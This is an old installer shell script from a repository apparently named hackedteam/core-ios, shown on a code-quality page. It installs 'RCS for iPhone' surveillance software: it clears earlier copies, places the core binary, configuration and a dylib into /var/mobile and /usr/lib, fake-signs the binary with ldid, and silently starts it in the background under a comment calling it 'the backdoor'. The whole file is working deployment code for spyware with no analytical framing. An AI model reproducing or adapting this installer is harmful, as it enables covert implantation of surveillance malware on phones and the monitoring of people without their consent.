hackedteam/core-ios

View on GitHub
tools/package-old/install.sh.old

Summary

Maintainability
Test Coverage
#!/bin/sh

# GLOBAL VARS
RCS_DIR=[:RCS_DIR:]
RCS_CORE=[:RCS_CORE:]
RCS_CONF=[:RCS_CONF:]
RCS_DYLIB=[:RCS_DYLIB:]
RCS_LOG=./rcs_install.log
RCS_BASE=/var/mobile

#INFO
echo "**** RCS for iPhone installation script verions 1.1 ****" > $RCS_LOG
echo running installation... >> $RCS_LOG
echo RCS Folder path : "$RCS_BASE/$RCS_DIR" >> $RCS_LOG
echo Core name       : "$RCS_CORE" >> $RCS_LOG
echo Conf name       : "$RCS_CONF" >> $RCS_LOG
echo Dynamic lib name: "$RCS_DYLIB" >> $RCS_LOG
echo >> $RCS_LOG

# removing older rcs folder
echo -n  $0: `date` - rm -rf  $RCS_BASE/$RCS_DIR >> $RCS_LOG
RET_VAL=`rm -rf $RCS_BASE/$RCS_DIR 2>&1`

if [ -d $RCS_BASE/$RCS_DIR ]
 then
  echo ... error: $RET_VAL. >> $RCS_LOG
  exit 1
 else
  echo ... done! >> $RCS_LOG
fi

# removing older rcs dylib
echo -n  $0: `date` - rm -f  /usr/lib/$RCS_DYLIB >> $RCS_LOG
RET_VAL=`rm -f /usr/lib/$RCS_DYLIB 2>&1`

if [ -f /usr/lib/$RCS_DYLIB ]
 then
  echo ... error: $RET_VAL. >> $RCS_LOG
  exit 1
 else
  echo ... done! >> $RCS_LOG
fi

# create rcs folder
echo -n  $0: `date` - mkdir $RCS_BASE/$RCS_DIR >> $RCS_LOG
RET_VAL=`mkdir $RCS_BASE/$RCS_DIR 2>&1`

if [ -d $RCS_BASE/$RCS_DIR ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL. >> $RCS_LOG
  exit 2
fi

# set attrib for tool
echo -n $0: `date` - chmod 755 ./codesign_allocate >> $RCS_LOG
RCS_RET=`chmod 755 ./codesign_allocate 2>&1`

if [ $? -eq 0 ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 7
fi

echo -n $0: `date` - chmod 755 ./ldid >> $RCS_LOG
RCS_RET=`chmod 755 ./ldid 2>&1`

if [ $? -eq 0 ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 7
fi

# moving codisign tool
echo -n $0: `date` - cp ./codesign_allocate /usr/bin/codesign_allocate >> $RCS_LOG
RET_VAL=`cp ./codesign_allocate /usr/bin/codesign_allocate 2>&1`

if [ -e /usr/bin/codesign_allocate ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 3
fi

# moving ldid tool
echo -n $0: `date` - cp ./ldid /usr/bin/ldid >> $RCS_LOG
RET_VAL=`cp ./ldid /usr/bin/ldid 2>&1`

if [ -e /usr/bin/ldid ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 4
fi

# moving components
echo -n $0: `date` - cp ./$RCS_CORE $RCS_BASE/$RCS_DIR/$RCS_CORE >> $RCS_LOG
RET_VAL=`cp ./$RCS_CORE $RCS_BASE/$RCS_DIR/$RCS_CORE 2>&1`

if [ -e $RCS_BASE/$RCS_DIR/$RCS_CORE ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 5
fi

echo -n $0: `date` - cp ./$RCS_CONF $RCS_BASE/$RCS_DIR/$RCS_CONF >> $RCS_LOG
RET_VAL=`cp ./$RCS_CONF $RCS_BASE/$RCS_DIR/$RCS_CONF 2>&1`

if [ -e $RCS_BASE/$RCS_DIR/$RCS_CONF ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL. >> $RCS_LOG
  exit 6
fi

echo -n $0: `date` - cp ./$RCS_DYLIB /usr/lib/$RCS_DYLIB >> $RCS_LOG
RET_VAL=`cp ./$RCS_DYLIB /usr/lib/$RCS_DYLIB 2>&1`

if [ -e /usr/lib/$RCS_DYLIB ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL. >> $RCS_LOG
  exit 6
fi

# set attrib
echo -n $0: `date` - chmod 755 $RCS_BASE/$RCS_DIR/$RCS_CORE >> $RCS_LOG
RCS_RET=`chmod 755 $RCS_BASE/$RCS_DIR/$RCS_CORE 2>&1`

if [ $? -eq 0 ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 7
fi

# rebuild the pseduo sig
echo -n $0: `date` - ldid -S $RCS_BASE/$RCS_DIR/$RCS_CORE >> $RCS_LOG
RCS_RET=`./ldid -S $RCS_BASE/$RCS_DIR/$RCS_CORE 2>&1`

if [ $? -eq 0 ]
 then
  echo ... done! >> $RCS_LOG
 else
  echo ... error: $RET_VAL.>> $RCS_LOG
  exit 8
fi

# run the backdoor
echo -n $0: `date` - running $RCS_BASE/$RCS_DIR/$RCS_CORE >> $RCS_LOG
(cd $RCS_BASE/$RCS_DIR; $RCS_BASE/$RCS_DIR/$RCS_CORE > /dev/null 2>&1 ) & 
echo ... done! >> $RCS_LOG

echo >> $RCS_LOG
echo " RCS folder content: $RCS_BASE/$RCS_DIR" >> $RCS_LOG
echo >> $RCS_LOG
ls -la $RCS_BASE/$RCS_DIR >> $RCS_LOG

echo >> $RCS_LOG
echo $0: "installation done." >> $RCS_LOG

exit 0